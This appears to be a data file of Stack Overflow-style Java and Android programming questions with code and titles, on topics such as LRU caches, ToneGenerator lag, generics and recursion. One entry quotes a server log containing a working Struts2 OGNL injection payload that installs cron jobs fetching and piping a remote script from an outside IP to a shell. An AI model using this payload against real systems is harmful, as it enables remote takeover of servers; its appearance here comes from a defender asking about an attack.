in C++ '' ( uml.edu ) '' LRU Cache ( Java ) '' ( programcreek.com ) The hash table is supposed to directly store a linked list Node as I show below . My cache should store Integer keys and String values.However , in Java the LinkedList collection does not expose its internal nodes , so I ca n't store them inside the HashMap . I could instead have the HashMap store indices into the LinkedList , but then getting to an item would require O ( N ) time . So I tried to store a ListIterator instead . So this leads to three problems : Problem 1 : I am getting a ConcurrentModificationException when I update the LinkedList using the iterator that I store in the HashMap.Problem 2 . How do I retrieve the value pointed to by the ListIterator ? It seems I can only retrieve the next ( ) value.Problem 3 . Is there any way to implement this LRU cache using the Java collections LinkedList , or do I really have to implement my own linked list ?","import java.util.Map ; import java.util.HashMap ; import java.util.List ; import java.util.LinkedList ; import java.util.ListIterator ; public class LRUCache { private static final int DEFAULT_MAX_CAPACITY = 10 ; protected Map < Integer , ListIterator > _map = new HashMap < Integer , ListIterator > ( ) ; protected LinkedList < String > _list = new LinkedList < String > ( ) ; protected int _size = 0 ; protected int _maxCapacity = 0 ; public LRUCache ( int maxCapacity ) { _maxCapacity = maxCapacity ; } // Put the key , value pair into the LRU cache . // The value is placed at the head of the linked list . public void put ( int key , String value ) { // Check to see if the key is already in the cache . ListIterator iter = _map.get ( key ) ; if ( iter ! = null ) { // Key already exists , so remove it from the list . iter.remove ( ) ; // Problem 1 : ConcurrentModificationException ! } // Add the new value to the front of the list . _list.addFirst ( value ) ; _map.put ( key , _list.listIterator ( 0 ) ) ; _size++ ; // Check if we have exceeded the capacity . if ( _size > _maxCapacity ) { // Remove the least recently used item from the tail of the list . _list.removeLast ( ) ; } } // Get the value associated with the key . // Move value to the head of the linked list . public String get ( int key ) { String result = null ; ListIterator iter = _map.get ( key ) ; if ( iter ! = null ) { //result = iter // Problem 2 : HOW DO I GET THE STRING FROM THE ITERATOR ? } return result ; } public static void main ( String argv [ ] ) throws Exception { LRUCache lruCache = new LRUCache ( 10 ) ; lruCache.put ( 10 , `` This '' ) ; lruCache.put ( 20 , `` is '' ) ; lruCache.put ( 30 , `` a '' ) ; lruCache.put ( 40 , `` test '' ) ; lruCache.put ( 30 , `` some '' ) ; // Causes ConcurrentModificationException } } Exception in thread `` main '' java.util.ConcurrentModificationException at java.util.LinkedList $ ListItr.checkForComodification ( LinkedList.java:953 ) at java.util.LinkedList $ ListItr.remove ( LinkedList.java:919 ) at LRUCache.put ( LRUCache.java:31 ) at LRUCache.main ( LRUCache.java:71 )",ConcurrentModificationException when updating stored Iterator ( for LRU cache implementation ) +Java,"I 'm writing a timer app , with a service and beeping every 30 seconds ( actually there 's a drop down that changes that time ) .However when I make the app beep the beep lasts very long and freezes the app , eventually ( after about 5 seconds ) it finishes and then the timer catches up . Why is this happening ? How do I fix this ? Here is my code : MainActivity.java : LocalService.java : activity_main.xml : I can add my AndroidManifest if necessary . On AndroidStudio on the debug it gives me the following information when it happens : Should I be doing the beep in the service or something ? I 'll add that I 'm positive that this is from the ToneGenerator , I 've commented all the sound parts out and just left the Vibrator and when it runs there 's no problem . But the ToneGenerator and the Ringtone both caused this problem","package com.example.servicetimer ; import android.content.BroadcastReceiver ; import android.content.Context ; import android.content.Intent ; import android.content.IntentFilter ; import android.media.AudioManager ; import android.media.MediaPlayer ; import android.media.Ringtone ; import android.media.RingtoneManager ; import android.media.ToneGenerator ; import android.net.Uri ; import android.os.Vibrator ; import android.support.v7.app.AppCompatActivity ; import android.os.Bundle ; import android.view.View ; import android.widget.AdapterView ; import android.widget.ArrayAdapter ; import android.widget.Button ; import android.widget.Spinner ; import android.widget.TextView ; public class MainActivity extends AppCompatActivity { private Button startButton ; private Button pauseButton ; private Button resetButton ; private TextView timerValue ; private TextView timerValueMils ; private long miliTime ; private int beepTime = 0 ; private boolean running = false ; private boolean beep = false ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; miliTime = 0L ; timerValue = ( TextView ) findViewById ( R.id.timerValue ) ; timerValueMils = ( TextView ) findViewById ( R.id.timerValueMils ) ; registerReceiver ( uiUpdated , new IntentFilter ( `` TIMER_UPDATED '' ) ) ; startButton = ( Button ) findViewById ( R.id.startButton ) ; startButton.setOnClickListener ( new View.OnClickListener ( ) { public void onClick ( View view ) { if ( running ) { return ; } Intent i = new Intent ( MainActivity.this , LocalService.class ) ; i.putExtra ( `` timer '' , miliTime ) ; startService ( i ) ; running = true ; resetButton.setVisibility ( View.GONE ) ; } } ) ; pauseButton = ( Button ) findViewById ( R.id.pauseButton ) ; pauseButton.setOnClickListener ( new View.OnClickListener ( ) { public void onClick ( View view ) { if ( ! running ) { return ; } running = false ; stopService ( new Intent ( MainActivity.this , LocalService.class ) ) ; resetButton.setVisibility ( View.VISIBLE ) ; } } ) ; resetButton = ( Button ) findViewById ( R.id.resetButton ) ; resetButton.setOnClickListener ( new View.OnClickListener ( ) { public void onClick ( View view ) { stopService ( new Intent ( MainActivity.this , LocalService.class ) ) ; running = false ; miliTime = 0L ; ( ( TextView ) findViewById ( R.id.timerValue ) ) .setText ( R.string.timerVal ) ; ( ( TextView ) findViewById ( R.id.timerValueMils ) ) .setText ( R.string.timerValMils ) ; beep = false ; } } ) ; Spinner dropdown = ( Spinner ) findViewById ( R.id.spinner1 ) ; ArrayAdapter < CharSequence > adapter = ArrayAdapter .createFromResource ( this , R.array.times , android.R.layout.simple_spinner_item ) ; dropdown.setAdapter ( adapter ) ; dropdown.setSelection ( 1 ) ; adapter.setDropDownViewResource ( android.R.layout.simple_spinner_dropdown_item ) ; dropdown.setOnItemSelectedListener ( new AdapterView.OnItemSelectedListener ( ) { @ Override public void onItemSelected ( AdapterView < ? > parent , View view , int position , long id ) { // On selecting a spinner item String label = parent.getItemAtPosition ( position ) .toString ( ) ; beepTime = Integer.parseInt ( label ) ; } public void onNothingSelected ( AdapterView < ? > parent ) { beepTime = 30 ; } } ) ; } private BroadcastReceiver uiUpdated = new BroadcastReceiver ( ) { @ Override public void onReceive ( Context context , Intent intent ) { //This is the part where I get the timer value from the service and I update it every second , because I send the data from the service every second . The coundtdownTimer is a MenuItem miliTime = intent.getExtras ( ) .getLong ( `` timer '' ) ; long secs = miliTime/1000 ; int mins = ( int ) ( secs/60 ) ; secs = secs % 60 ; if ( secs > 0 ) beep = true ; if ( ( secs % beepTime == 0 ) & & beep ) beep ( ) ; int millis = ( int ) ( miliTime % 1000 ) ; timerValue.setText ( `` '' + mins + `` `` + String.format ( `` % 02d '' , secs ) ) ; timerValueMils.setText ( String.format ( `` % 02d '' , millis/10 ) ) ; } public void beep ( ) { /*try { Uri notification = RingtoneManager.getDefaultUri ( RingtoneManager.TYPE_NOTIFICATION ) ; Ringtone r = RingtoneManager.getRingtone ( getApplicationContext ( ) , notification ) ; r.play ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } */ final ToneGenerator tg = new ToneGenerator ( AudioManager.STREAM_NOTIFICATION , 100 ) ; tg.startTone ( ToneGenerator.TONE_PROP_BEEP,100 ) ; tg.stopTone ( ) ; tg.release ( ) ; /*ToneGenerator toneG = new ToneGenerator ( AudioManager.STREAM_ALARM , 100 ) ; toneG.startTone ( ToneGenerator.TONE_CDMA_ALERT_CALL_GUARD , 200 ) ; */ Vibrator v = ( Vibrator ) getSystemService ( Context.VIBRATOR_SERVICE ) ; // Vibrate for 500 milliseconds v.vibrate ( 500 ) ; } } ; } package com.example.servicetimer ; import android.app.Service ; import android.content.Context ; import android.content.Intent ; import android.os.IBinder ; import android.widget.Toast ; import java.util.Timer ; import java.util.TimerTask ; public class LocalService extends Service { private static Timer timer ; private Context ctx ; private static long miliTime = 0 ; public IBinder onBind ( Intent arg0 ) { return null ; } public void onCreate ( ) { timer = new Timer ( ) ; super.onCreate ( ) ; ctx = this ; miliTime = 0 ; } @ Override public int onStartCommand ( Intent intent , int flags , int startId ) { miliTime = intent.getExtras ( ) .getLong ( `` timer '' ) ; timer = new Timer ( ) ; timer.scheduleAtFixedRate ( new mainTask ( ) , 0 , 10 ) ; return START_STICKY ; } private class mainTask extends TimerTask { public void run ( ) { miliTime += 10 ; Intent i = new Intent ( `` TIMER_UPDATED '' ) ; i.putExtra ( `` timer '' , miliTime ) ; sendBroadcast ( i ) ; } } public void onDestroy ( ) { super.onDestroy ( ) ; timer.cancel ( ) ; miliTime = 0L ; } } < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : background= '' @ drawable/silver '' android : layout_height= '' match_parent '' > < TextView android : id= '' @ +id/timerValue '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_above= '' @ +id/pauseButton '' android : layout_centerHorizontal= '' true '' android : layout_marginBottom= '' 37dp '' android : textSize= '' 40sp '' android : textColor= '' # 000000 '' android : text= '' @ string/timerVal '' / > < TextView android : id= '' @ +id/timerValueMils '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_toRightOf= '' @ +id/timerValue '' android : layout_toEndOf= '' @ +id/timerValue '' android : layout_above= '' @ +id/pauseButton '' android : layout_centerHorizontal= '' true '' android : layout_marginBottom= '' 45dp '' android : layout_marginLeft= '' 10dp '' android : layout_marginStart= '' 10dp '' android : textSize= '' 20sp '' android : textColor= '' # 000000 '' android : text= '' @ string/timerValMils '' / > < Button android : id= '' @ +id/startButton '' android : layout_width= '' 90dp '' android : layout_height= '' 45dp '' android : layout_alignParentLeft= '' true '' android : layout_alignParentStart= '' true '' android : layout_centerVertical= '' true '' android : layout_marginLeft= '' 38dp '' android : layout_marginStart= '' 38dp '' android : text= '' @ string/startButtonLabel '' / > < Button android : id= '' @ +id/pauseButton '' android : layout_width= '' 90dp '' android : layout_height= '' 45dp '' android : layout_alignBaseline= '' @ +id/startButton '' android : layout_alignBottom= '' @ +id/startButton '' android : layout_alignParentRight= '' true '' android : layout_alignParentEnd= '' true '' android : layout_marginRight= '' 38dp '' android : layout_marginEnd= '' 38dp '' android : text= '' @ string/pauseButtonLabel '' / > < RelativeLayout android : id= '' @ +id/dropdown '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_below= '' @ id/pauseButton '' android : layout_marginTop= '' 37dp '' > < TextView android : id= '' @ +id/secondsToBeep '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_marginLeft= '' 37dp '' android : layout_marginStart= '' 37dp '' android : layout_marginEnd= '' 20dp '' android : layout_marginRight= '' 20dp '' android : textSize= '' 30sp '' android : textColor= '' # 000000 '' android : text= '' @ string/beeps '' / > < Spinner android : id= '' @ +id/spinner1 '' android : dropDownWidth= '' 80dp '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_weight= '' 1 '' android : background= '' @ android : drawable/btn_dropdown '' android : layout_alignParentRight= '' true '' android : layout_alignParentEnd= '' true '' android : layout_marginEnd= '' 40dp '' android : layout_marginRight= '' 40dp '' android : layout_marginLeft= '' 40dp '' android : layout_marginStart= '' 40dp '' android : spinnerMode= '' dropdown '' android : popupBackground= '' @ drawable/silver '' / > < /RelativeLayout > < Button android : id= '' @ +id/resetButton '' android : layout_width= '' match_parent '' android : layout_height= '' 60dp '' android : layout_below= '' @ id/dropdown '' android : layout_alignParentRight= '' true '' android : layout_alignParentEnd= '' true '' android : layout_marginTop= '' 50dp '' android : text= '' @ string/resetButtonLabel '' android : visibility= '' gone '' / > < /RelativeLayout > I/Choreographer : Skipped 35 frames ! The application may be doing too much work on its main thread.I/Choreographer : Skipped 175 frames ! The application may be doing too much work on its main thread.I/Choreographer : Skipped 44 frames ! The application may be doing too much work on its main thread .",ToneGenerator slows down app very heavily +Java,"I added a function to Math class in the Kotlin but I could not use it , I did this before with MutableList and it worked but I can not do it with Math class .","fun Math.divideWithSubtract ( num1 : Int , num2 : Int ) = Math.exp ( Math.log ( num1.toDouble ( ) ) ) - Math.exp ( Math.log ( num2.toDouble ( ) ) )",Add an extensions function to Math class in kotlin +Java,"When using map with method reference in Java , I met following problem : It looks to me that Integer : :toString is same as the IntegerHolder : :getInteger . Both are `` Reference to an Instance Method of an Arbitrary Object of a Particular Type '' I do not understand why one works , but the other does not.Could you please shed some light on this question ? Thank you very much .",public class Dummy { public static void main ( String [ ] args ) { IntegerHolder ih = new IntegerHolder ( ) ; Optional < IntegerHolder > iho = Optional.of ( ih ) ; iho.map ( IntegerHolder : :getInteger ) .map ( Objects : :toString ) ; iho.map ( IntegerHolder : :getInteger ) .map ( ( Integer ii ) - > ii.toString ( ) ) ; iho.map ( IntegerHolder : :getInteger ) .map ( Integer : :toString ) ; // this line will not compile . The error is `` non-static method toString ( ) can not be referenced from a static context '' } private static class IntegerHolder { private Integer i ; Integer getInteger ( ) { return i ; } } },Integer : :toString in Optional.map +Java,"I 'm having some trouble with a question from my programming II class and have hit a brick wall , was wondering if someone could help ? The question asks for a user to input a string , the program to reverse the input string and then to compare the reverse to the original , this must be done recursively.So far I have : My problem is , it tells me everything is a palindrome , I 've looked at it over and over and ca n't figure out why !","public class question1 { public static void main ( String args [ ] ) { String input = JOptionPane.showInputDialog ( null , `` Please enter a sentence to determine if it is a palindrome . `` ) ; String backwardsinput = Reverse ( input ) ; System.out.println ( backwardsinput ) ; boolean Palindrome = PalindromeCheck ( backwardsinput , input ) ; if ( Palindrome == true ) { JOptionPane.showMessageDialog ( null , '' That is a palindrome ! `` ) ; } if ( Palindrome == false ) { JOptionPane.showMessageDialog ( null , '' That is not a palindrome '' ) ; } } public static String Reverse ( String input ) { if ( input.length ( ) < = 1 ) return input ; else { char x = input.charAt ( input.length ( ) -1 ) ; return x+Reverse ( input.substring ( 0 , input.length ( ) -1 ) ) ; } } public static boolean PalindromeCheck ( String backwardsinput , String input ) { if ( input.length ( ) == 0 || input.length ( ) == 1 ) return true ; if ( backwardsinput.charAt ( 0 ) == input.charAt ( input.length ( ) -1 ) ) return PalindromeCheck ( backwardsinput.substring ( 1 , backwardsinput.length ( ) -1 ) , input.substring ( 1 , input.length ( ) -1 ) ) ; else return false ; } }",Double string comparison using recursion +Java,"All of my tests for my Groovy code look like thisbecause I need to sanitize any possible StackTrace that appears ( otherwise it 's very hard to read since it 's got all the Groovy meta-code ) . Is there any way to specify that all JUnit tests get wrapped in particular way ( like an error handler ) ? Note : I am running these in Eclipse , but if there 's a way to do this in IntelliJ or Netbeans , that would be good to know .",public void testButtons ( ) { try { page.getButtons ( ) ; } catch ( Exception e ) { throw org.codehaus.groovy.runtime.StackTraceUtils.sanitize ( e ) ; } },Wrapping JUnit Tests ( in Eclipse ) +Java,"I 'm trying to implement a tool for merging different versions of some source code . Given two versions of the same source code , the idea would be to parse them , generate the respective Abstract Source Trees ( AST ) , and finally merge them into a single output source keeping grammatical consistency - the lexer and parser are those of question ANTLR : How to skip multiline comments.I know there is class ParserRuleReturnScope that helps ... but getStop ( ) and getStart ( ) always return null : - ( Here is a snippet that illustrates how I modified my perser to get rules printed :",parser grammar CodeTableParser ; options { tokenVocab = CodeTableLexer ; backtrack = true ; output = AST ; } @ header { package ch.bsource.ice.parsers ; } @ members { private void log ( ParserRuleReturnScope rule ) { System.out.println ( `` Rule : `` + rule.getClass ( ) .getName ( ) ) ; System.out.println ( `` getStart ( ) : `` + rule.getStart ( ) ) ; System.out.println ( `` getStop ( ) : `` + rule.getStop ( ) ) ; System.out.println ( `` getTree ( ) : `` + rule.getTree ( ) ) ; } } parse : codeTabHeader codeTable endCodeTable eof { log ( retval ) ; } ; codeTabHeader : comment CodeTabHeader^ { log ( retval ) ; } ; ...,How to merge two ASTs ? +Java,"I have the following interface : And its implementation : Now , when I call : in my service class , everything is fine.But when I call : I get unchecked assignment warning with a reason that userRepository has raw type , so result of findAll is erased . If this is indeed the case , should n't findByEmail behave the same ? It just does n't seem very consistent.How can I eliminate the raw type in this scenario ? I 've tried few things : Removing < T extends User > from interface and applying it to method like this : That works fine for the service , but repository implementation now gives warning about unchecked overriding ( return type requires unchecked conversion ) .I 've also tried removing generics from interface and method , while keeping the return list generic : That solves the problem , no warnings , but requires me to write the service like this : And it feels a bit clunky ( maybe it 's just me , so please , let me know if this is acceptable from `` good programming '' perspective ) .Either way , is it possible to get List < User > without raw type warnings , while keeping repository untouched ? Thanks a lot for your time.EDIT : I am not looking for a way to cast the list.EDIT 2 : Repository declaration : Some of you suggested to change that declaration to UserRepository < User > userRepository ; and thats successfully removes the warnings but Spring can not find the bean to autowire this way as JpaUserRepository is UserRepository < JpaUser > . Service layer does not know about repository implementation .","public interface UserRepository < T extends User > { List < T > findAll ( UserCriteria userCriteria , PageDetails pageDetails ) ; T findByEmail ( String email ) ; } @ Repositorypublic class JpaUserRepository implements UserRepository < JpaUser > { public List < JpaUser > findAll ( UserCriteria userCriteria , PageDetails pageDetails ) { //implementation } public JpaUser findByEmail ( String email ) { //implementation } } User user = userRepository.findByEmail ( email ) ; List < User > users = userRepository.findAll ( userCriteria , pageDetails ) ; < U extends User > List < U > findAll ( UserCriteria userCriteria , PageDetails pageDetails ) ; List < ? extends User > findAll ( UserCriteria userCriteria , PageDetails pageDetails ) ; List < ? extends User > users = userRepository.findAll ( userCriteria , pageDetails ) ; private final UserRepository userRepository ;",How to retrieve a list of objects from generic interface without unchecked assignment ? +Java,"For the past few weeks , we 've been seeing a lot of this in our logs . This is a spring-boot application . Is this an RCE attempt ? Is this related to https : //cwiki.apache.org/confluence/display/WW/S2-045 ?","Caused by : org.springframework.http.InvalidMediaTypeException : Invalid mime type `` % { ( # _='multipart/form-data ' ) . ( # dm= @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS ) . ( # _memberAccess ? ( # _memberAccess= # dm ) : ( ( # container= # context [ 'com.opensymphony.xwork2.ActionContext.container ' ] ) . ( # ognlUtil= # container.getInstance ( @ com.opensymphony.xwork2.ognl.OgnlUtil @ class ) ) . ( # ognlUtil.getExcludedPackageNames ( ) .clear ( ) ) . ( # ognlUtil.getExcludedClasses ( ) .clear ( ) ) . ( # context.setMemberAccess ( # dm ) ) ) ) . ( # cmd='echo `` */13 * * * * wget -O - -q http : //91.230.47.41/res/logo.jpg|sh\n*/14 * * * * curl http : //91.230.47.41/res/logo.jpg|sh '' | crontab - ' ) . ( # iswin= ( @ java.lang.System @ getProperty ( 'os.name ' ) .toLowerCase ( ) .contains ( 'win ' ) ) ) . ( # cmds= ( # iswin ? { 'cmd.exe ' , '/c ' , # cmd } : { '/bin/bash ' , '-c ' , # cmd } ) ) . ( # p=new java.lang.ProcessBuilder ( # cmds ) ) . ( # p.redirectErrorStream ( true ) ) . ( # process= # p.start ( ) ) . ( # ros= ( @ org.apache.struts2.ServletActionContext @ getResponse ( ) .getOutputStream ( ) ) ) . ( @ org.apache.commons.io.IOUtils @ copy ( # process.getInputStream ( ) , # ros ) ) . ( # ros.flush ( ) ) } '' : Invalid token character ' { ' in token `` % { ( # _='multipart '' at org.springframework.http.MediaType.parseMediaType ( MediaType.java:385 ) ~ [ spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.http.HttpHeaders.getContentType ( HttpHeaders.java:722 ) ~ [ spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.http.server.ServletServerHttpRequest.getHeaders ( ServletServerHttpRequest.java:116 ) ~ [ spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor.isResourceNotModified ( HttpEntityMethodProcessor.java:190 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor.handleReturnValue ( HttpEntityMethodProcessor.java:173 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.method.support.HandlerMethodReturnValueHandlerComposite.handleReturnValue ( HandlerMethodReturnValueHandlerComposite.java:81 ) ~ [ spring-web-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle ( ServletInvocableHandlerMethod.java:126 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod ( RequestMappingHandlerAdapter.java:832 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal ( RequestMappingHandlerAdapter.java:743 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle ( AbstractHandlerMethodAdapter.java:85 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.DispatcherServlet.doDispatch ( DispatcherServlet.java:961 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.DispatcherServlet.doService ( DispatcherServlet.java:895 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] at org.springframework.web.servlet.FrameworkServlet.processRequest ( FrameworkServlet.java:967 ) ~ [ spring-webmvc-4.2.6.RELEASE.jar:4.2.6.RELEASE ] ... 24 more",InvalidMediaTypeException - Am I under attack ? +Java,"When creating a REST/XML webservice , and showing List objects : should the list elements be wrapped in a list element ( eg < persons > ) , or should the response just list multiple < person > elements ? Example : Nested : Flat :",@ XmlElementprivate List < Person > persons ; public class Person { private String name ; private int age ; // ... } < rsp > < persons > < person > < name / > < age / > < /person > < person > ... < /person > < /persons > < /rsp > < rsp > < person > < name / > < age / > < /person > < person > ... < /person > < /rsp >,Should list array elements be wrapped in xml representation ? +Java,"I am trying to use the @ Deprecated annotation . The @ Deprecated documentation says that : `` Compilers warn when a deprecated program element is used or overridden in non-deprecated code '' . I would think this should trigger it , but it did not . javac version 1.7.0_09 and compiled using and not using -Xlint and -deprecation . Edit : per the comment of gd1 below regarding it only working if the method is in another class , I added a second class . And it DOES WARN on the call to theOldWay ( ) : The warning : /home/java/TestAnnotations.java:10 : warning : [ deprecation ] theOldWay ( ) in OtherClass has been deprecated 1 warning",public class TestAnnotations { public static void main ( String [ ] args ) { TestAnnotations theApp = new TestAnnotations ( ) ; theApp.thisIsDeprecated ( ) ; } @ Deprecated public void thisIsDeprecated ( ) { System.out.println ( `` doing it the old way '' ) ; } } public class TestAnnotations { public static void main ( String [ ] args ) { TestAnnotations theApp = new TestAnnotations ( ) ; theApp.thisIsDeprecated ( ) ; OtherClass thatClass = new OtherClass ( ) ; thatClass.theOldWay ( ) ; } @ Deprecated public void thisIsDeprecated ( ) { System.out.println ( `` doing it the old way '' ) ; } } class OtherClass { @ Deprecated void theOldWay ( ) { System.out.println ( `` gone out of style '' ) ; } } thatClass.theOldWay ( ) ; ^,Why is n't the @ Deprecated annotation triggering a compiler warning about a method ? +Java,"The code returns that System.in belongs to the BufferedInputStream class . Why is that ? Since class System defines System.in to be InputStream , I can see how the result is n't impossible . But why ca n't the previous code return another class inherited from InputStream , like for example DataInputStream ?",import java.io . * ; class ioTest1 { public static void main ( String args [ ] ) { System.out.println ( System.in.getClass ( ) ) ; } },What input class does System.in belongs to and why ? +Java,"I want to save Objects of Arc and Line in one ArrayList , then get the intersection of both . The question is how can I cast i and j to its original class . I know that instanceof works but that would be the dirtiest method . Thanks for your help !","public class Intersection { public static boolean intersect ( ArrayList < Curve > list1 , ArrayList < Curve > list2 ) { for ( Curve i : list1 ) { for ( Curve j : list2 ) { if ( i.intersection ( j ) .length > 0 ) return true ; } } return false ; } } public abstract class Curve { public Point [ ] intersection ( Curve c ) { return new Point [ ] { } ; } } public class Line extends Curve { public Point [ ] intersection ( Line l ) { // returns intersection Point of this and l } public Point [ ] intersection ( Arc a ) { // returns intersection Point ( s ) } } public class Arc extends Curve { public Point [ ] intersection ( Line l ) { // return intersection Point ( s ) of this and l } public Point [ ] intersection ( Arc a ) { // returns intersection Point ( s ) } }",Dynamic dispatch ( runtime-polymorphism ) with overloaded methods without using instanceof +Java,"I have some model object Account with list of fields , in simple case with two fields String name and double marginAnd I need to get exact page of this accounts which is over some margin limit , sorted by margin & name . Each record should have margin as key , and Account as value.I made this minimal example of code , but seems like sorting does n't works well for me . So I wrap it in TreeMap , but it will cost extra memory and I hate it.Probably should be wait to fix this inside of streams and add losted sort by name in case of equals margin","@ Dataclass Account { private final String name ; private final double margin ; private final static double MARGIN_LIMIT = 100 ; private final static int PAGE_SIZE = 3 ; private static Set < Account > accounts = new HashSet < > ( ) ; public static void main ( String [ ] args ) { accounts.add ( new Account ( `` user1 '' , 200 ) ) ; accounts.add ( new Account ( `` user2 '' , 100 ) ) ; accounts.add ( new Account ( `` user3 '' , 150 ) ) ; accounts.add ( new Account ( `` user4 '' , 175 ) ) ; accounts.add ( new Account ( `` user5 '' , 75 ) ) ; accounts.add ( new Account ( `` user6 '' , 110 ) ) ; Map < Double , Account > val = new TreeMap < Double , Account > ( Comparator.reverseOrder ( ) ) ; val.putAll ( getClientsForClosing ( 2 ) ) ; System.out.println ( val ) ; } private static Map < Double , Account > getClientsForClosing ( int page ) { return accounts.stream ( ) .filter ( account - > account.getMargin ( ) > = MARGIN_LIMIT ) .sorted ( Comparator.comparingDouble ( Account : :getMargin ) .reversed ( ) ) .skip ( PAGE_SIZE * ( page - 1 ) ) .limit ( PAGE_SIZE ) .collect ( Collectors.toMap ( Account : :getMargin , o - > o ) ) ; } }",How to get sorted paged map by couple conditions using java 8 streams +Java,"I was trying to experiment with jcmd VM.set_flag option . But came across one error saying `` only 'writeable ' flags can be set '' . What are writable flags ? Getting my pid : Trying to change vm flags : Edit : It worked for manageable flags , below are successful commands .",XXX @ XXX-Air : ~/javacode $ jcmd -l6294 Test6295 jdk.jcmd/sun.tools.jcmd.JCmd -l XXX @ XXX-Air : ~/javacode $ jcmd 6294 VM.set_flag ConcGCThreads 46294 : only 'writeable ' flags can be setXXX @ XXX-Air : ~/javacode $ jcmd 6294 VM.set_flag MaxNewSize 1G6294 : only 'writeable ' flags can be set XXXX @ XXX-Air : ~/javacode $ jcmd 11441 VM.flags -all | grep MinHeapFreeRatio uintx MinHeapFreeRatio = 40 { manageable } { default } XXXX @ XXX-Air : ~/javacode $ jcmd 11441 VM.set_flag MinHeapFreeRatio 4511441 : Command executed successfullyXXXX @ XXX-Air : ~/javacode $ jcmd 11441 VM.flags -all | grep MinHeapFreeRatio uintx MinHeapFreeRatio = 45,"jcmd VM.set_flag , which flags are writable ?" +Java,I am trying to extract `` Know your tractor '' and `` Shell Petroleum Company.1955 '' ? Bear in mind that that is just a snippet of the whole code and there are more then one H2/H3 tag . And I would like to get the data from all the H2 and H3 tags . Heres the HTML : http : //i.stack.imgur.com/Pif3B.pngThe Code I have just now is : How would I extract `` Know your tractor '' and `` Shell Petroleum Company.1955 '' ? Thanks for your help !,ArrayList < String > arrayList = new ArrayList < String > ( ) ; Document doc = null ; try { doc = Jsoup.connect ( `` http : //primo.abdn.ac.uk:1701/primo_library/libweb/action/search.do ? dscnt=0 & scp.scps=scope % 3A % 28ALL % 29 & frbg= & tab=default_tab & dstmp=1332103973502 & srt=rank & ct=search & mode=Basic & dum=true & indx=1 & tb=t & vl ( freeText0 ) =tractor & fn=search & vid=ABN_VU1 '' ) .get ( ) ; Elements heading = doc.select ( `` h2.EXLResultTitle span '' ) ; for ( Element src : heading ) { String j = src.text ( ) ; System.out.println ( j ) ; //check whats going into the array arrayList.add ( j ) ; },How do I parse this HTML with Jsoup +Java,"I have a tight loop that searches coprimes . A list primeFactors . Its n-th element contains a sorted list of prime decomposition of n. I am checking if c and d are coprimes using checkIfPrimesprimeFactors.get ( d ) .retainAll ( primeFactors.get ( c ) ) looks promising , but it will alter my reusable primeFactors object.Creating a new object is relatively slow . Is there a way to speed up this step ? Can I somehow utilize the fact that lists are sorted ? Should I use arrays instead ?","boolean checkIfPrimes ( int c , int d , List < List < Integer > > primeFactors ) { List < Integer > common = new ArrayList < > ( primeFactors.get ( d ) ) ; //slow common.retainAll ( primeFactors.get ( c ) ) ; return ( common.isEmpty ( ) ) ; }",Efficient way to find out if two sorted lists contain same element Java . +Java,"First : Second : wherein if I use concrete classWhat 's the difference if in my first example , ( I ) new B ( ) , the java compiler should produce compile-error as well ? Is n't it that the java compiler should be able to distinguish that it is also an `` inconvertible type '' ? Especially when the new operator comes immediately ? Is there any instance/chance that it will be possible that creating that new instance of B could produce a convertible type of type I ? I know at some point , that the Java compiler should not immediately say that it is a compiler error , like when you do this : Edit : Let me clarify this question why it is not a possible duplicate of this : Cast reference of known type to an interface outside of type 's hierarchyThe intention of this question is not because I am not aware of what will be the result of or what is something wrong with something , etc . I just want to know a `` more detailed explanation in a technical way '' of why does the JVM behave that way or why does Java came up with that kind of decision of not making that kind of scenario a compile-time error . As what we all know , it is always better to find `` problematic code '' at compile-time rather than at run-time.Another thing , the answer I am looking for was found here on this thread not on those `` duplicates ? `` .",interface I { } class A implements I { } class B { } I [ ] arr = new A [ 10 ] ; arr [ 0 ] = ( I ) new B ( ) ; // will produce ClassCastException at runtime I [ ] arr = new A [ 10 ] ; arr [ 0 ] = ( A ) new B ( ) ; // will produce compile-time error I i = ( I ) getContent ( ) ; // wherein getContent ( ) will return a type of Object,Casting `` with '' Interface +Java,"Consider the following Java codewhen I invoke the doSomething method , the executor is created and performs the tasks r1 and r2 sequentially one after the other.My question is : what happens once the two tasks r1 and r2 terminate ? I suppose the executor object will be garbage collected , but I do not know whether it will be also shutdown . If the executor creates a new thread for its execution , will this thread result in a resource leak ?","void doSomething ( Runnable r1 , Runnable r2 